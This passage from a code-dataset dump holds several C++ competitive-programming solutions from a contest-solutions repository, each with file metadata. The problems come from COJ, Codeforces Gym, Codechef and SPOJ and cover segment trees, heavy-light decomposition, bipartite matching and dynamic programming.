"detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 288, "license_type": "no_license", "max_line_length": 28, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2709-Accepted-s579395.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000;\r\n\r\nint n, p, x;\r\nbool mark[MAXN];\r\n\r\nint main()\r\n{\r\n\tscanf( \"%d%d\", &n, &p );\r\n\tfor (int i = 0; i < p; i++)\r\n\t{\r\n\t\tscanf(\"%d\", &x);\r\n\t\tif (!mark[x]) n--;\r\n\t\tmark[x] = 1;\r\n\t}\r\n\tprintf (\"%d\\n\", n);\r\n}\r\n" }, { "alpha_fraction": 0.4181078374385834, "alphanum_fraction": 0.44252288341522217, "avg_line_length": 21.975608825683594, "blob_id": "cfe3d4e6703b23315c4dc7318979b74316b6fa19", "content_id": "db39cc2c4aa6708318750df41f40c74bb5376a93", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1966, "license_type": "no_license", "max_line_length": 72, "num_lines": 82, "path": "/COJ/eliogovea-cojAC/eliogovea-p1422-Accepted-s631704.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000005;\r\n\r\ntypedef unsigned long long ll;\r\nconst ll mod = 1000000009;\r\n\r\nll sum[MAXN << 2], lazy[MAXN << 2];\r\n\r\nvoid build(int idx, int l, int r) {\r\n\tif (l == r) sum[idx] = 1, lazy[idx] = 1;\r\n\telse {\r\n\t\tint mid = (l + r) >> 1, L = idx << 1, R = L + 1;\r\n\t\tlazy[idx] = 1;\r\n\t\tbuild(L, l, mid);\r\n\t\tbuild(R, mid + 1, r);\r\n\t\tsum[idx] = (sum[L] + sum[R]) % mod;\r\n\t}\r\n}\r\n\r\nvoid propagate(int idx, int l, int r) {\r\n\tif (lazy[idx] > 1ll) {\r\n\t\tsum[idx] = (sum[idx] * (lazy[idx] % mod)) % mod;\r\n\t\tif (l != r) {\r\n\t\t\tint L = idx << 1, R = L + 1;\r\n\t\t\tlazy[L] = (lazy[L] * (lazy[idx] % mod)) % mod;\r\n\t\t\tlazy[R] = (lazy[R] * (lazy[idx] % mod)) % mod;\r\n\t\t}\r\n\t\tlazy[idx] = 1ll;\r\n\t}\r\n}\r\n\r\nvoid update(int idx, int l, int r, int ul, int ur, ll upd) {\r\n\tpropagate(idx, l, r);\r\n\tif (l > ur || r < ul) return;\r\n\tif (l >= ul && r <= ur) {\r\n\t\tsum[idx] = (sum[idx] * (upd % mod)) % mod;\r\n\t\tif (l != r) {\r\n\t\t\tint L = idx << 1, R = L + 1;\r\n\t\t\tlazy[L] = (lazy[L] * (upd % mod)) % mod;\r\n\t\t\tlazy[R] = (lazy[R] * (upd % mod)) % mod;\r\n\t\t}\r\n\t}\r\n\telse {\r\n\t\tint mid = (l + r) >> 1, L = idx << 1, R = L + 1;\r\n\t\tupdate(L, l, mid, ul, ur, upd);\r\n\t\tupdate(R, mid + 1ll, r, ul, ur, upd);\r\n\t\tsum[idx] = (sum[L] + sum[R]) % mod;\r\n\t}\r\n}\r\n\r\nll query(int idx, int l, int r, int ql, int qr) {\r\n\tpropagate(idx, l, r);\r\n\tif (l > qr || r < ql) return 0ll;\r\n\tif (l >= ql && r <= qr) return sum[idx];\r\n\tint mid = (l + r) >> 1, L = idx << 1, R = L + 1;\r\n\treturn (query(L, l, mid, ql, qr) + query(R, mid + 1, r, ql, qr)) % mod;\r\n}\r\n\r\nint n, m, a, b, c, d;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\twhile (cin >> n >> m) {\r\n\t\tbuild(1, 1, n);\r\n\t\twhile (m--) {\r\n\t\t\tcin >> a;\r\n\t\t\tif (a == 1) {\r\n\t\t\t\tcin >> b >> c;\r\n\t\t\t\tif (b > c) swap(b, c);\r\n\t\t\t\tcout << query(1, 1, n, b, c) << '\\n';\r\n\t\t\t}\r\n\t\t\telse {\r\n if (b > c) swap(b, c);\r\n\t\t\t\tcin >> b >> c >> d;\r\n\t\t\t\tupdate(1, 1, n, b, c, d);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3734177350997925, "alphanum_fraction": 0.4113923907279968, "avg_line_length": 12.8125, "blob_id": "9fb437e92f25336e9c9d1a4de0c5aa5b60b2bd18", "content_id": "0c2e53adee11e299721283e871595227cea69b34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 474, "license_type": "no_license", "max_line_length": 57, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p2701-Accepted-s567375.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nstring word;\r\n\r\nint main()\r\n{\r\n\tint dif = 'Z' - 'A' + 1;\r\n\r\n\tcin >> word;\r\n\tint sum = 0;\r\n\tfor( int i = 0; word[i]; i++ ) sum += word[i] - 'A' + 1;\r\n\r\n\tint l1 = sum / 2;\r\n\tint l2 = sum - sum / 2;\r\n\r\n\twhile( l1 - dif > 0 )\r\n\t{\r\n\t\tcout << 'Z';\r\n\t\tl1 -= dif;\r\n\t}\r\n\tchar c = char( l1 ) + 'A' - 1;\r\n\tcout << c << \" \";\r\n\r\n\twhile( l2 - dif > 0 )\r\n\t{\r\n\t\tcout << 'Z';\r\n\t\tl2 -= dif;\r\n\t}\r\n\tc = char( l2 ) + 'A' - 1;\r\n\tcout << c << endl;\r\n}\r\n" }, { "alpha_fraction": 0.35396039485931396, "alphanum_fraction": 0.41996699571609497, "avg_line_length": 21.425926208496094, "blob_id": "c7dd11cd42d870e62d983971504fbfb8c577e308", "content_id": "210871f32cc01870df0bdb7f8ccf265279988f81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1212, "license_type": "no_license", "max_line_length": 105, "num_lines": 54, "path": "/Codeforces-Gym/100494 - 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)\n// 100494E\n\n/*\n * =====================================================================================\n *\n * Filename: E.cpp\n *\n * Description: \n *\n * Version: 1.0\n * Created: 02/04/16 09:35:44\n * Revision: none\n * Compiler: gcc\n *\n * Author: YOUR NAME (), \n * Company: \n *\n * =====================================================================================\n */\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nlong long n, b, h, w;\nlong long l[20000];\nint main(){\n\tios_base::sync_with_stdio(0); \n\tcin.tie(0);\t\n\t//freopen( \"dat.txt\", \"r\", stdin );\n\tcin >> n >> b >> h >> w;\n\tlong long sol = 210LL*5000000LL;\n\tfor( long long i = 1, p; i <= h; i++ ){\n\t\tcin >> p;\n\t\tfor( long long j = 1; j <= w; j++ )\n\t\t\tcin >> l[j];\n\t\tif( p*n > b )\n\t\t\tcontinue;/* \n\t\tlong long m = 1200;\n\t\tfor( int j = 1; j <= w;j++ )\n\t\t\tif( l[j] >= n )\n\t\t\t\tm = min(m, l[j]);\n*/\n\t\tlong long m = *max_element( l+1, l+w+1 );\n\t\tif( m >= n ){\n\t\t\tsol = min( sol, p*n );\n\t\t}\n\t\t//cout<<m<<endl;\n\t}\n\tif( sol == 210LL*5000000LL)\n\t\tcout << \"stay home\\n\";\n\telse\n\t\tcout << sol << '\\n';\n}\n\n" }, { "alpha_fraction": 0.38777777552604675, "alphanum_fraction": 0.4144444465637207, "avg_line_length": 15.962264060974121, "blob_id": "4f193917ab34e5866f677fb272d26af4116bb38f", "content_id": "7fa4fc505ba96841c58f892f8ca696b25609f9ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 900, "license_type": "no_license", "max_line_length": 53, "num_lines": 53, "path": "/Codechef/KSPHERES.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 1005;\n\nconst int MOD = 1e9 + 7;\n\ninline void add(int &a, int b) {\n\ta += b; if (a >= MOD) a -= MOD;\n}\n\ninline int mul(int a, int b) {\n\treturn (long long)a * b % MOD;\n}\n\nint n, m, c;\nint u[N], l[N];\n\nint dp[N][N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> n >> m >> c;\n\tfor (int i = 0, x; i < n; i++) {\n\t\tcin >> x;\n\t\tu[x]++;\n\t}\n\tfor (int i = 0, x; i < m; i++) {\n\t\tcin >> x;\n\t\tl[x]++;\n\t}\n\tfor (int i = 1; i <= c; i++) {\n\t\tdp[0][i] = mul(u[i], l[i]);\n\t}\n\tfor (int i = 1; i <= c; i++) {\n\t\tadd(dp[0][i], dp[0][i - 1]);\n\t}\n\tfor (int i = 1; i <= c; i++) {\n\t\tfor (int j = 1; j <= c; j++) {\n\t\t\tdp[i][j] = mul(dp[i - 1][j - 1], mul(u[j], l[j]));\n\t\t}\n\t\tfor (int j = 1; j <= c; j++) {\n\t\t\tadd(dp[i][j], dp[i][j - 1]);\n\t\t}\n\t}\n\tfor (int i = 1; i <= c; i++) {\n\t\tcout << dp[i][c];\n\t\tif (i + 1 <= c) cout << \" \";\n\t}\n\tcout << \"\\n\";\n}\n\n" }, { "alpha_fraction": 0.36318308115005493, "alphanum_fraction": 0.3721579611301422, "avg_line_length": 19.979080200195312, "blob_id": "ff071bbf007e8bef945e985f91bd65df6d4ccf7d", "content_id": "e2f797e590733267e683e472a6227b50d40a94de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5014, "license_type": "no_license", "max_line_length": 89, "num_lines": 239, "path": "/Codeforces-Gym/100861 - 2008-2009 ACM-ICPC, NEERC, Moscow Subregional Contest/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2008-2009 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100861D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\nconst ll MAXQ = 100005;\nconst ll oo = (1ll << 60);\n\nstring codes[MAXQ];\nmap<string,int> ids;\nmap<int,ll> reliab;\nbool exist[MAXQ];\n\nstruct node;\ntypedef node* pnode;\nstruct node{\n int sum;\n int id;\n pnode L, R;\n\n node(){\n sum = id = 0;\n L = NULL;\n R = NULL;\n }\n node( int sum, int id ) : sum(sum), id(id), L(NULL), R(NULL) {}\n};\n\nvoid init_nod( pnode nod ){\n if( nod->L == NULL ){\n nod->L = new node();\n }\n if( nod->R == NULL ){\n nod->R = new node();\n }\n}\n\nvoid insert_st( pnode nod, ll l, ll r, ll h, int id ){\n //cerr << \"l = \" << l << \" r = \" << r << '\\n';\n\n //cerr << \"---> ini\\n\";\n init_nod(nod);\n //cerr << \"ini -->\\n\";\n\n if( l == r ){\n nod->sum = 1;\n nod->id = id;\n return;\n }\n\n ll mid = (l+r)/2ll;\n pnode L = nod->L;\n pnode R = nod->R;\n\n if( mid == r ){\n mid = l;\n }\n\n if( h <= mid ){\n insert_st( L, l, mid, h, id );\n }\n else{\n insert_st( R, mid+1ll, r, h, id );\n }\n\n nod->sum = L->sum + R->sum;\n}\n\nvoid delete_st( pnode nod, ll l, ll r, ll h ){\n init_nod( nod );\n\n if( l == r ){\n nod->sum = 0;\n return;\n }\n\n ll mid = (l+r)/2ll;\n pnode L = nod->L;\n pnode R = nod->R;\n\n if( mid == r ){\n mid = l;\n }\n\n if( h <= mid ){\n delete_st( L, l, mid, h );\n }\n else{\n delete_st( R, mid+1ll, r, h );\n }\n\n nod->sum = L->sum + R->sum;\n}\n\nint get_nth( pnode nod, ll l, ll r, ll n ){\n //cerr << \"l = \" << l << \" r = \" << r << '\\n';\n\n init_nod( nod );\n\n if( l == r ){\n return nod->id;\n }\n\n ll mid = (l+r)/2ll;\n pnode L = nod->L;\n pnode R = nod->R;\n\n if( mid == r ){\n mid = l;\n }\n\n if( L->sum >= n ){\n return get_nth( L, l, mid, n );\n }\n\n return get_nth( R, mid+1ll, r, n - L->sum );\n}\n\ninline ll get_hash( int id ){\n return -reliab[id] * MAXQ + id;\n}\n\nvoid print_st( pnode nod, ll l, ll r ){\n if( l == r ){\n if( nod->sum > 0 ){\n cerr << \"id = \" << nod->id << \" reliab = \" << reliab[nod->id] << '\\n';\n }\n\n return;\n }\n\n ll mid = (l+r)/2ll;\n pnode L = nod->L;\n pnode R = nod->R;\n\n if( mid == r ){\n mid = l;\n }\n\n if( L->sum > 0 ){\n print_st( L, l, mid );\n }\n if( R->sum > 0 ){\n print_st( R, mid+1ll, r );\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int Q; cin >> Q;\n\n int sz = 0;\n int ID = 0;\n\n pnode ro = new node();\n\n for( int q = 1; q <= Q; q++ ){\n //cerr << \"op == \" << q << '\\n';\n\n string op; cin >> op;\n\n if( op == \"ISSUE\" ){\n string code; cin >> code;\n if( ids.find( code ) == ids.end() ){\n int id = ID++;\n ids[code] = id;\n codes[id] = code;\n reliab[id] = 0ll;\n exist[id] = true;\n sz++;\n\n //cerr << \"--> insert\\n\";\n insert_st( ro, -oo, oo, get_hash( id ) , id );\n //cerr << \"insert -->\\n\";\n\n cout << \"CREATED \" << id << \" 0\\n\";\n }\n else{\n int id = ids[code];\n cout << \"EXISTS \" << id << \" \" << reliab[id] << \"\\n\";\n }\n }\n else if( op == \"DELETE\" ){\n string code; cin >> code;\n\n auto aux = ids.find( code );\n\n if( aux != ids.end() && exist[ (*aux).second ] ){\n exist[ (*aux).second ] = false;\n sz--;\n delete_st( ro, -oo, oo, get_hash( (*aux).second ) );\n\n cout << \"OK \" << (*aux).second << ' ' << reliab[ (*aux).second ] << '\\n';\n ids.erase( aux );\n }\n else{\n cout << \"BAD REQUEST\\n\";\n }\n }\n else if( op == \"RELIABILITY\" ){\n string code; cin >> code;\n ll m; cin >> m;\n\n auto aux = ids.find( code );\n\n if( aux != ids.end() && exist[ (*aux).second ] ){\n delete_st( ro, -oo, oo, get_hash( (*aux).second ) );\n reliab[ (*aux).second ] += m;\n insert_st( ro, -oo, oo, get_hash( (*aux).second ) , (*aux).second );\n\n cout << \"OK \" << (*aux).second << ' ' << reliab[ (*aux).second ] << '\\n';\n }\n else{\n cout << \"BAD REQUEST\\n\";\n }\n }\n else if( op == \"FIND\" ){\n int n; cin >> n; n++;\n\n if( sz == 0 ){\n cout << \"EMPTY\\n\";\n }\n else{\n n = min( n , sz );\n int id = get_nth( ro, -oo, oo, n );\n cout << \"OK \" << codes[id] << ' ' << id << ' ' << reliab[id] << '\\n';\n\n //print_st( ro, -oo, oo );\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.3211453855037689, "alphanum_fraction": 0.3343612253665924, "avg_line_length": 16.11111068725586, "blob_id": "38abc3c3179a0860dffaae2130010737bdf780dd", "content_id": "f3167c5d21d01ffe919efa22c9ab6f2ac7689b0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2270, "license_type": "no_license", "max_line_length": 59, "num_lines": 126, "path": "/Caribbean-Training-Camp-2017/Contest_4/Solutions/G4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\r\nconst int MAXN = 200;\r\n\r\nint from[MAXN];\r\nbool mk[MAXN];\r\nvector<int> g[MAXN];\r\n\r\nint id1[MAXN];\r\nint id2[MAXN];\r\nbool ok[MAXN];\n\r\nbool dfs( int u ){\r\n if( mk[u] || !ok[ id1[u] ] ){\r\n return false;\r\n }\r\n\r\n mk[u] = true;\r\n for( int i = 0; i < g[u].size(); i++ ){\r\n int v = g[u][i];\r\n if( ok[ id2[v] ] && (!from[v] || dfs( from[v] )) ){\r\n from[v] = u;\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n}\r\n\r\nint n, m;\r\nint kuhn(){\r\n fill( from , from + m + 1 , 0 );\r\n\r\n int mxf = 0;\r\n for( int i = 1; i <= n; i++ ){\r\n fill( mk , mk + n + 1 , false );\r\n if( dfs(i) ){\r\n mxf++;\r\n }\r\n }\r\n\r\n return mxf;\r\n}\r\n\r\nchar y[MAXN];\r\nint nod[MAXN];\r\nvector<int> G2[MAXN];\r\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\r\n string s;\r\n int k; cin >> k;\r\n getline(cin,s);\r\n\r\n n = m = 0;\r\n\r\n for( int i = 1; i <= k; i++ ){\r\n getline( cin , s );\r\n stringstream sin(s);\r\n\r\n sin >> y[i];\r\n if( y[i] == 'Y' ){\r\n nod[i] = ++n;\r\n id1[ nod[i] ] = i;\r\n }\r\n else{\r\n nod[i] = ++m;\r\n id2[ nod[i] ] = i;\r\n }\r\n\r\n int j;\r\n while( sin >> j ){\r\n G2[i].push_back(j);\r\n }\r\n }\r\n\r\n for( int i = 1; i <= k; i++ ){\r\n for( int e = 0; e < G2[i].size(); e++ ){\r\n int j = G2[i][e];\r\n\r\n if( y[i] == y[j] ){\r\n continue;\r\n }\r\n\r\n int u = nod[i];\r\n int v = nod[j];\r\n\r\n if( y[i] == 'N' ){\r\n swap( u , v );\r\n }\r\n\r\n g[u].push_back(v);\r\n }\r\n }\r\n\r\n fill( ok , ok + k + 1 , true );\r\n\r\n int mxf = kuhn();\r\n cout << mxf << '\\n';\r\n if( !mxf ){\r\n return 0;\r\n }\r\n\r\n vector<int> sol;\r\n\r\n for( int i = 1; i <= k && mxf; i++ ){\r\n ok[i] = false;\r\n if( kuhn() == mxf - 1 ){\r\n sol.push_back(i);\r\n mxf--;\r\n }\r\n else{\r\n ok[i] = true;\r\n }\r\n }\r\n\r\n for( int i = 0; i < sol.size(); i++ ){\r\n cout << sol[i] << \" \\n\"[i+1==sol.size()];\r\n }\n}\n" }, { "alpha_fraction": 0.37311556935310364, "alphanum_fraction": 0.40075376629829407, "avg_line_length": 17.799999237060547, "blob_id": "532f6e4d13b68c6c588a27bac2e05441e1de9469", "content_id": "dc26a18e4679781cf48ba545171f181af4f5cf84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 796, "license_type": "no_license", "max_line_length": 62, "num_lines": 40, "path": "/COJ/eliogovea-cojAC/eliogovea-p1967-Accepted-s565665.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n#include <algorithm>\r\n#include <cmath>\r\n#include <map>\r\n#include <cstring>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000000;\r\n\r\nint k,n,a[MAXN + 10],dp[MAXN][12];\r\n\r\nint comb( int x,int y )\r\n{\r\n if( y > x - y ) y = x - y;\r\n if( y == 0 || y == x )return 1;\r\n if( dp[x][y] )return dp[x][y];\r\n return dp[x][y] = comb( x - 1, y - 1 ) + comb( x - 1, y );\r\n}\r\n\r\nint main()\r\n{\r\n\r\n cin >> n >> k;\r\n int mx = 0;\r\n for( int l = k; l; l-- )\r\n {\r\n int len = l;\r\n for( int i = 0; n - comb( l - 1 + i, i ) > 0; i++ )\r\n {\r\n n -= comb( l - 1 + i, i );\r\n len++;\r\n }\r\n a[len] = 1;\r\n mx = max( mx, len );\r\n }\r\n for( int i = mx; i; i-- ) cout << a[i];\r\n cout << endl;\r\n}\r\n\r\n\r\n" }, { "alpha_fraction": 0.44992390275001526, "alphanum_fraction": 0.47062405943870544, "avg_line_length": 19.611841201782227, "blob_id": "bddb52eb7b1ec19f778d4a544e783b2ba6b8e805", "content_id": "185c806a723b3c7e656beda4314d9eb93be2dc64", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3285, "license_type": "no_license", "max_line_length": 77, "num_lines": 152, "path": "/COJ/eliogovea-cojAC/eliogovea-p1920-Accepted-s650168.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <vector>\r\n#include <cmath>\r\n#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005;\r\n\r\nint N, M, cnt;\r\nvector<int> ady[MAXN];\r\nint depth[MAXN], heavy[MAXN], parent[MAXN];\r\nint size[MAXN], chain[MAXN], head[MAXN];\r\n\r\n\r\nstruct ST {\r\n\tint size;\r\n\tvector<int> T, lazy;\r\n\tST() {}\r\n\tST(int sz) {\r\n\t size = sz;\r\n\t\tint tmp = 2 + log2(sz);\r\n\t\ttmp = 1 << tmp;\r\n\t\tT.resize(tmp, 0);\r\n\t\tlazy.resize(tmp, 0);\r\n\t}\r\n\tvoid propagate(int idx, int l, int r) {\r\n\t\tif (lazy[idx]) {\r\n\t\t\tT[idx] += (r - l + 1) * lazy[idx];\r\n\t\t\tif (l != r) {\r\n\t\t\t\tlazy[2 * idx] += lazy[idx];\r\n\t\t\t\tlazy[2 * idx + 1] += lazy[idx];\r\n\t\t\t}\r\n\t\t\tlazy[idx] = 0;\r\n\t\t}\r\n\t}\r\n\tvoid update(int idx, int l, int r, int ul, int ur, int upd) {\r\n\t\tpropagate(idx, l, r);\r\n\t\tif (l > ur || r < ul) return;\r\n\t\tif (l >= ul && r <= ur) {\r\n\t\t\tT[idx] += (r - l + 1) * upd;\r\n\t\t\tif (l != r) {\r\n\t\t\t\tlazy[2 * idx] += upd;\r\n\t\t\t\tlazy[2 * idx + 1] += upd;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\tint m = (l + r) / 2;\r\n\t\t\tupdate(2 * idx, l, m, ul, ur, upd);\r\n\t\t\tupdate(2 * idx + 1, m + 1, r, ul, ur, upd);\r\n\t\t\tT[idx] = T[2 * idx] + T[2 * idx + 1];\r\n\t\t}\r\n\t}\r\n\tvoid update(int node, int value) {\r\n\t\tint d = 1 + depth[node] - depth[head[node]];\r\n\t\tupdate(1, 1, size, 1, d, value);\r\n\t}\r\n\tint query(int idx, int l, int r, int ql, int qr) {\r\n\t\tpropagate(idx, l, r);\r\n\t\tif (l > qr || r < ql) return 0;\r\n\t\tif (l >= ql && r <= qr) return T[idx];\r\n\t\tint m = (l + r) / 2;\r\n\t\treturn query(2 * idx, l, m, ql, qr) + query(2 * idx + 1, m + 1, r, ql, qr);\r\n\t}\r\n\tint query(int node) {\r\n\t\tint d = 1 + depth[node] - depth[head[node]];\r\n\t\treturn query(1, 1, size, 1, d);\r\n\t}\r\n};\r\n\r\nvector<ST> chains;\r\n\r\nvoid dfs(int u) {\r\n\tsize[u] = 1;\r\n\tfor (int i = 0; i < ady[u].size(); i++) {\r\n\t\tint v = ady[u][i];\r\n\t\tif (v == parent[u]) continue;\r\n\t\tparent[v] = u;\r\n\t\tdepth[v] = depth[u] + 1;\r\n\t\tdfs(v);\r\n\t\tsize[u] += size[v];\r\n\t\tif (heavy[u] == -1 || size[v] > size[heavy[u]])\r\n\t\t\theavy[u] = v;\r\n\t}\r\n}\r\n\r\nvoid heavy_light() {\r\n for (int i = 0; i < N; i++) heavy[i] = -1;\r\n\tparent[0] = -1;\r\n\tdepth[0] = 0;\r\n\tdfs(0);\r\n\tcnt = 0;\r\n\tfor (int i = 0; i < N; i++)\r\n\t\tif (parent[i] == -1 || heavy[parent[i]] != i) {\r\n\t\t\tint tmp = 0;\r\n\t\t\tfor (int j = i; j != -1; j = heavy[j]) {\r\n\t\t\t\thead[j] = i;\r\n\t\t\t\tchain[j] = cnt;\r\n\t\t\t\ttmp++;\r\n\t\t\t}\r\n\t\t\tchains.push_back(ST(tmp));\r\n\t\t\tcnt++;\r\n\t\t}\r\n}\r\n\r\ninline int lca(int u, int v) {\r\n\twhile (chain[u] != chain[v]) {\r\n\t\tif (depth[head[u]] > depth[head[v]]) swap(u, v);\r\n\t\t\tv = parent[head[v]];\r\n\t}\r\n\tif (depth[u] < depth[v]) return u;\r\n\treturn v;\r\n}\r\n\r\ninline void update(int node, int value) {\r\n\tfor (; node != -1; node = parent[head[node]])\r\n\t\tchains[chain[node]].update(node, value);\r\n}\r\n\r\ninline int query(int node) {\r\n\tint ret = 0;\r\n\tfor (; node != -1; node = parent[head[node]])\r\n\t\tret += chains[chain[node]].query(node);\r\n\treturn ret;\r\n}\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tscanf(\"%d%d\", &N, &M);\r\n\tfor (int i = 1, x, y; i < N; i++) {\r\n\t\tscanf(\"%d%d\", &x, &y);\r\n\t\tx--; y--;\r\n\t\tady[x].push_back(y);\r\n\t\tady[y].push_back(x);\r\n\t}\r\n\theavy_light();\r\n\tchar c[2];\r\n\tint a, b;\r\n\twhile (M--) {\r\n\t\tscanf(\"%s%d%d\", c, &a, &b);\r\n\t\ta--; b--;\r\n\t\tint v = lca(a, b);\r\n\t\tif (c[0] == 'P') {\r\n\t\t\tupdate(a, 1);\r\n\t\t\tupdate(b, 1);\r\n\t\t\tupdate(v, -2);\r\n\t\t}\r\n\t\telse {\r\n int r = query(a) + query(b) - 2 * query(v);\r\n printf(\"%d\\n\", r);\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3838028311729431, "alphanum_fraction": 0.39964789152145386, "avg_line_length": 17.933332443237305, "blob_id": "f8b630306270a2388032b46474284cc9b43373d0", "content_id": "2afe82ed904d2e838a13f6cb02a8bcac418e8262", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1136, "license_type": "no_license", "max_line_length": 68, "num_lines": 60, "path": "/SPOJ/HISTOGRA.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nconst int N = 100005;\n \nint n;\nint a[N];\npriority_queue<pair<int, int> > S;\nint L[N], R[N];\nlong long ans;\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(false);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\twhile (cin >> n && n) {\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\tcin >> a[i];\n\t\t\t//cout << a[i] << \" \";\n\t\t\tL[i] = R[i] = -1;\n\t\t}\n\t\t//cout << \"\\n\";\n\t\twhile (!S.empty()) {\n S.pop();\n\t\t}\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\twhile (!S.empty() && S.top().first > a[i]) {\n\t\t\t\tR[S.top().second] = i - 1;\n\t\t\t\tS.pop();\n\t\t\t}\n\t\t\tS.push(make_pair(a[i], i));\n\t\t}\n\t\twhile (!S.empty()) {\n S.pop();\n\t\t}\n\t\tfor (int i = n; i >= 1; i--) {\n\t\t\twhile (!S.empty() && S.top().first > a[i]) {\n\t\t\t\tL[S.top().second] = i + 1;\n\t\t\t\tS.pop();\n\t\t\t}\n\t\t\tS.push(make_pair(a[i], i));\n\t\t}\n\t\tans = 0;\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\tif (L[i] == -1) {\n\t\t\t\tL[i] = 1;\n\t\t\t}\n\t\t\tif (R[i] == -1) {\n\t\t\t\tR[i] = n;\n\t\t\t}\n\t\t\t//cout << i << \" \" << L[i] << \" \" << R[i] << \" \" << a[i] << \"\\n\";\n\t\t\tlong long tmp = ((long long)(R[i] - L[i] + 1LL) * a[i]);\n\t\t\tif (tmp > ans) {\n\t\t\t\tans = tmp;\n\t\t\t}\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.36146095395088196, "alphanum_fraction": 0.38413098454475403, "avg_line_length": 18.604938507080078, "blob_id": "2c3438817cf6ee7f59afb90d8e6036f28a9277f6", "content_id": "b8033df4b94c21204df8e5c0fe1560f3c9220c34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1588, "license_type": "no_license", "max_line_length": 131, "num_lines": 81, "path": "/Caribbean-Training-Camp-2018/Contest_1/Solutions/G1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct node {\n bool isNull;\n int res, l, r;\n node() {\n isNull = true;\n res = l = r = 0;\n }\n};\n\nnode add(const node & a, const node & b) {\n if (a.isNull) {\n return b;\n }\n if (b.isNull) {\n return a;\n }\n node res;\n res.isNull = false;\n res.l = max(a.l - b.r, 0) + b.l;\n res.r = max(b.r - a.l, 0) + a.r;\n res.res = a.res + b.res + 2 * min(a.l, b.r);\n return res;\n}\n\nconst int N = 1000 * 1000 + 5;\n\nnode st[4 * N];\nstring s;\n\nvoid build(int x, int l, int r) {\n if (l == r) {\n st[x].isNull = false;\n if (s[l - 1] == '(') {\n st[x].l = 1;\n } else {\n st[x].r = 1;\n }\n\n } else {\n int m = (l + r) >> 1;\n build(2 * x, l, m);\n build(2 * x + 1, m + 1, r);\n st[x] = add(st[2 * x], st[2 * x + 1]);\n }\n\n // cerr << x << \" \" << l << \" \" << r << \" -> \" << st[x].isNull << \" \" << st[x].res << \" \" << st[x].l << \" \" << st[x].r << \"\\n\";\n}\n\nnode query(int x, int l, int r, int ql, int qr) {\n if (l > qr || r < ql) {\n return node();\n }\n if (l >= ql && r <= qr) {\n return st[x];\n }\n int m = (l + r) >> 1;\n return add(query(2 * x, l, m, ql, qr), query(2 * x + 1, m + 1, r, 